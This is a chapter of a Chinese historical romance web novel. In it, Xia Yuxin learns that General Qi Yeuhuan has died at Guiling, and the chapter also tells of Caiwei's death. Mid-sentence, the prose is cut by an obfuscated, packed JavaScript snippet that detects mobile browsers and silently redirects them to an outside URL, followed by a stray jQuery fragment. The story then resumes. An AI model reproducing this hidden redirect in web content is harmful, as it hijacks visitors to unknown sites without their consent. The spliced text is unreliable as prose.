夏语心和大伙在地里撒草木灰。身后吴祺、李祥、戴高、泰梂领着其他人翻土点种冬麦。
列国纷乱,战况焦灼。温孤长羿虽率军出征,却留下数百人在山外看护云潭山。而阴山十万兵,出征前亦留下两万。
另一面山坡上,元郎中带着大黄狗、小黄狗和孩子们在地里打理种下的药草。地里有谢了叶的药草。临冬,元郎中便用茅草覆盖防冻。
孩子们进山采下许多柿子,个不大,洋芋大小个头。庄氏提着回家用稻草把那些还未熟的捂起来,然后去厨房帮伙夫烧菜。
地里忙活半日,远远听着庄氏隔山喊开饭的声音,大伙收工回去吃饭。
夏语心头上不知何时沾了毛草,吴祺笑着帮她取下,却不知手上有草木灰,被戴高啪的一声打开,然后替棠小弟取下来。
吴祺被嫌弃后,不停地搓了搓手,把手上的草木灰搓干净。
伍氏教他:“戴高嫌弃你,你便往他身上擦,看他还嫌弃不?”
吴祺又去水沟里洗干净手,只是笑了笑,他一向沉稳,不喜这样打闹。
看着两人,虽然都长大了,但一个规规矩矩,一个却童心未泯。人要快乐,就得多像戴高这样,夏语心也说道:“就是,反正衣服由他自己洗。”
戴高立刻有了意见,“你们不许这样偏心。”
说着,戴高伸手一抬,便敲在她脑袋上,仍像当初对棠小弟那般,不无拘谨。接着却被李祥反扣一指盖,几人追着一路打下山。
吴祺静静跟在身后。夏语心朝戴高囔了一声,“好你个戴高,看我一会儿捉住你,怎么收拾你。”她转身拉吴祺上前,“快去追他们,帮我打戴高。”
幸而她现下是一身女儿装,不然定会像之前一样,和他们追打不停。
吴祺摇摇头,只是跟在她身后。
山外山满野斑驳,黄的、红的、绿的,私语凭肩。山内山梯田层层叠叠盘山而上,连云翘首。河道牛群结队悠闲地啃着草,河边水车上翻下乘周而复始转轴。
稻田里的鱼儿见着人来惊得窜地游走,在稻田里激起一层浊浪。
许叔带着妻儿在里面踩谷桩,以备春耕。
“许叔,开饭了。”夏语心远远地双手捂成喇叭喊着。
许叔早听着庄氏喊声,等着大家下山,就着河沟里的水,洗好脚,一起进屋。
元郎中远远地带着孩子们也赶了回来。
农耕时闲,众人一锅吃。农耕时忙,各人负责耕地不同,便分锅而食,利于耕种。
百余人,两间大厅,济得满满当当,孩子们礼让夫子、长者。大人们谦让孩子,齐聚一堂,热气腾腾。孩子们吃的开心,大人们吃得欢乐。
窗外,三两片落叶飘过。
深秋已去,夏语心站在廊道间,迟迟不见信鸽飞落楼台。
门外驰道,繁花不染,格外宁静。
洹水城通往邑安的驰道上,忽而一匹战马踏尘奔来。
“那是谁?”采荷握剑上前,护住她。
夏语心移步上前,只见着战马行近,赵启新一身战甲鲜血尽染,跪在她面前,双手托起,呈上祁夜欢当时赠她的匕首,“王爷、命属下转交给它的主人。”
匕首原就是祁夜欢的,可上面却隐隐残留着血迹。
秋风拂面,却忽而带着无比凛冽的冷意。夏语心心中生出某种不好的预感,心里猛地抽了下,思绪凝滞,穿过树枝的阳光照进双眼,晃得有些刺疼,眼泪浑然不知打转,夏语心缓了缓神,接回匕首,“你们、王爷人呢?”
赵启新垂着头,双目赤红,又呈上信笺。夏语心握住匕首的手不住颤了下,紧了紧手中匕首,稳住神情,然后接过信笺展开……
夏漓兵败隆尧之日,祁夜欢收到密报,吴泽一路挥军南下。以吴泽野心,必定攻打邑安,祁夜欢早早在帐中备下此书①:
醉卧沙场君莫笑,古来征战几人回?
相看白刃血纷纷,死节从来岂顾勋。
“王爷不求名垂青史,不求功成天下,姑娘身后有王爷守护的百姓。王爷只求生死护住邑安,护住姑娘。王爷问姑娘:可否在姑娘的时光名录上,刻下王爷一笔?”
赵启新悲痛难掩,但依旧坚定如山跪战马前。
夏语心长长地呼了口气,眼泪潸然落下。
那日,她曾愤言:“祁夜欢,不,该是吴国夜王殿下。即便你今日赢了又如何?历史的名录上也不会留下你的名字。千年后,更无人能记得你,不过是一朝侥幸得道,空作他人口中谈资罢了。”
祁夜欢从不曾想赢这天下,起先混入邑安军中,抑或有这样的私心,可后来,他再不求名垂青史,更不求功成天下,只求赢得一人之心。
“阿颜,可否在你的时光名录上,刻下我一笔。”
这是祁夜欢将信交给赵启新,转身回到帐中的呢喃声。
夏语心狠狠将信攥在手里,近乎命令,“我要你们王爷亲自来问我。”
“姑娘……”
“叫我棠小弟。”
“王爷已死。世上再无棠小弟,只有王爷生死相护的阿颜姑娘。”
“起来。”夏语心抓住赵启新,想将他扶起来,好似这般就不曾听过祁夜欢死讯。她恨祁夜欢,可那样的恨在收到祁夜欢死讯一刻,又成了另一种悲伤。
但一切徒劳,以她的力气根本拉不动赵启新,就好像祁夜欢不是假死,是真的死了。
阴山大战,她将匕首刺进祁夜欢身体那一刻,她的恨又慌又乱。
许是祁夜欢看出她的情绪,昔日好兄弟死在眼前,她恨,她难过……祁夜欢笑着握住她的手,亲自教她将匕首刺得更深些。她更慌了,那是她第一次杀人……
夏语心含泪而笑,“赵大哥,今日,我当你没有来过云潭山。祁夜欢仍欠着阴山大营百余灾民性命,仍欠着数千将士性命,让他亲自来还。”
赵启新眼泪大颗大颗流着,“阿颜姑娘,王爷这回回不来了。王爷于桂陵、已受梁军万箭穿心而亡。”
“又是梁军。”采荷愤然。
夏语心仰头望了望天空,本想收住眼泪,一时间眼泪却如决堤的洪流疯狂泻下。
祁夜欢死了,那个曾在辕门外无数次带人撑着火杖迎她采药归来的祁将军死了。
那日桂陵大战,梁国烽火台狼烟起,梁国穆王集结二十万军前往桂陵。祁夜欢二十万军抵挡三十万梁军,两军交战四天四夜。
吴泽虽未亲自上阵绞杀,手下大将奈高占却异常勇猛,于梁军大捷,率先取下祁夜欢左将单允直首级,威逼劝降祁夜欢。
而梁国调兵桂陵,隆尧守军十万,暂无援兵调用。夏漓拔营征剿,率军突袭。一夜激战,两军伤亡惨重。夏漓以奇制之且以少胜多,一击攻下隆尧。
桂陵大战第五日,祁夜欢二十万军已折损过半。久战兵疲马乏,已不敌梁军勇猛,节节败阵,退至
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17014710|189370||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
桂陵三十里,身后大江,身前梁国压境。
前进无路,后退无门。
落夜时分,温孤长羿领百殳古率三千玄骑军及六万人赶到桂陵,被吴泽二十万大军重重困住。
周浪从关谷带两万铁骑连夜赶来,别尧相领五万步兵紧随其后。
两军左右夹攻,击退吴泽。祁夜欢交出信物,令赵启新带着余下不足三万人离开,举一已之力拖住梁军。于梁军阵前满身中箭,最后温孤长羿杀来,祁夜欢洒然一笑,“我祁夜欢、亦不欠你了。”
他带兵阻击了吴泽进攻邑安。
此前阴山一战,他费尽心思敛声匿迹藏于邑安军中,欠了温孤长羿的,欠了她的……
可她的出现是一场意外。
天空大雁成排飞过,临了一刻,祁夜欢听得一声鸣叫,双眸垂下,脑子里皆是那日她举着令牌气宇轩昂走进阴山大营的模样,他远远在营外看着。是那日,她和他把酒言欢,是他有生以来头一回醉酒,是那日……
祁夜欢。
大雁飞过时,祁夜欢仿佛听见了一个熟悉的声音,像梦一场,他一吻落在她眉间,抚过那张睡梦里都想着的脸,模糊得看不清……风不解忧愁地拂过指尖,最后,祁夜欢死在温孤长羿眼前。
温孤长羿从梁军手中救得他全尸。
而身后战场,百殳古、别尧相如同猛兽泄愤,手中利刃杀疯了眼。
梁军成片倒下。
屠凡休带着残军撤回桂陵,与吴泽退回内黄,扼守要隘,保梁国国都长济无忧。
百殳古、别尧相带兵追出数里,被周浪截住。
殊不知那日屠凡休在阵中一柄长戟刺穿采薇,同时饮了百殳古、别尧相二人心头血。
采薇、采荷二人从小在夏漓身边长大,与百殳古少小无猜、青梅竹马。百殳古自小袒护二人,但不同于采荷,百殳古情同手足。于采薇,百殳古早情深入骨。
得闻采薇之死,百殳古誓要灭掉梁军。
但百殳古不知,他刻入胸怀的姑娘,一身清雅如花照水,如一缕轻风时时萦绕心间,弄晴微雨亦落入了别尧相心中。
百殳古以为别尧相大杀梁军,是为迎春提刀。而别尧相以为百殳古对梁军贼之恨,是为迎春之死挥剑斩杀。
采薇却是在最后那一刻护住采荷,她知道,采荷爱慕上别尧相,终有会好归处。
可她自己……这世间,只有采薇见过庄主无数次在他自己睡房中望着小姐的画像睹物思人。
她大抵知道庄主喜欢小姐。而庄主找到小姐时,小姐已许了邑安城主为妻。
至此,采薇只愿做庄主身边的小跟班,随他南来北往,闯东走西,行遍天下山河……也愿为庄主前往邑安城照顾小姐。
爱屋及乌,她如何待庄主,便如何待小姐。
只是,从唐河山庄南下邑安城后,采薇在夏漓身边的日子少得可怜。无数夜里,她也会想念庄主。
那日,夏漓北上回唐河山庄,采薇独自在城门楼上远远提灯相送,但她不知,那会是与庄主的最后一别……
乱军中,屠凡休长戟冰冷地刺进她胸口时,采薇身体一瞬被撕裂成两半,她念着“庄主”二字,却听到另一个声音,“采薇姑娘。”
那是别尧相杀进梁军救她的嘶喊声。
可采薇没有听得清楚他是谁。但她知道,他不是庄主。庄主是唤她“小薇”。
夏漓也唤采荷为“小荷”。